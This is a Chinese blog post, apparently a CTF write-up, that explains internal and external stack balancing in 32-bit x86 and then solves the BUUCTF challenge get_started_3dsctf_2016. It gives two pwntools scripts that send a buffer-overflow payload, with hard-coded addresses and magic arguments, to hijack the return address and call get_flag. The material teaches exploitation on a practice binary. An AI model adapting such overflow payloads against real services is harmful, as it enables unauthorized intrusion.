栈内平衡和外平衡 及例题get_started_3dsctf_2016

vstral 最后更新于 15 天前 0 次阅读 预计阅读时间: 2 分钟


前置知识

一、栈内平衡与外平衡

堆栈平衡:在函数调用结束的时候---即执行ret指令之前,要把esp-栈顶寄存器的值修改为执行call指令压入堆栈的那个值。  这样才能保证程序能回到正确的位置,这个叫堆栈平衡。

总结:函数调用,要保证在函数进来与结束时,堆栈是一致的(栈顶寄存器esp的值一致)。(引用自:汇编系列19--堆栈平衡 - KeepMoving2018 - 博客园

外平栈:当函数调用时,因为通过堆栈传参导致不平衡,通过调整esp的值来使栈平衡的方式叫做外平衡(平衡参数在函数外部)在遇到外平栈时就不用再offset后加4了,内平栈才需要

内平栈:与外平栈相反,平很参数在函数内部

例题:get_started_3dsctf_2016

BUUCTF在线评测

32位系统,用cyclic算出溢出长度为56

发现了一个get_flag函数

需要a1,a2等于对应值即可获得flag,这里a1,a2是通过参数传入的

from pwn import *
io = remote('node5.buuoj.cn',28058)
context.log_level = 'debug'

payload = b'a'*(56+4) + p32(0x080489A0) + p32(0x308CD64F) + p32(0x195719D1)
io.sendline(payload)

io.interactive()

但是这里打不通,看了别人的writeup发现这道题的栈平衡方式是不一样的,常规的栈平衡方式应该是内平衡(内平栈),而这道题是外平衡,寻址方式为esp寻址,并且,fopen打开文件时,程序必须要正常退出才会有回显,所以调用完get_flag后让程序返回到exit函数

所以再次写出exp:

from pwn import *
io = remote('node5.buuoj.cn',25430)
context.log_level = 'debug'

payload = b'a'*56
payload += p32(0x080489A0) + p32(0x0804E6A0) + p32(0x308CD64F) + p32(0x195719D1) 
io.sendline(payload)
io.interactive()
此作者没有提供个人介绍
最后更新于 2025-01-21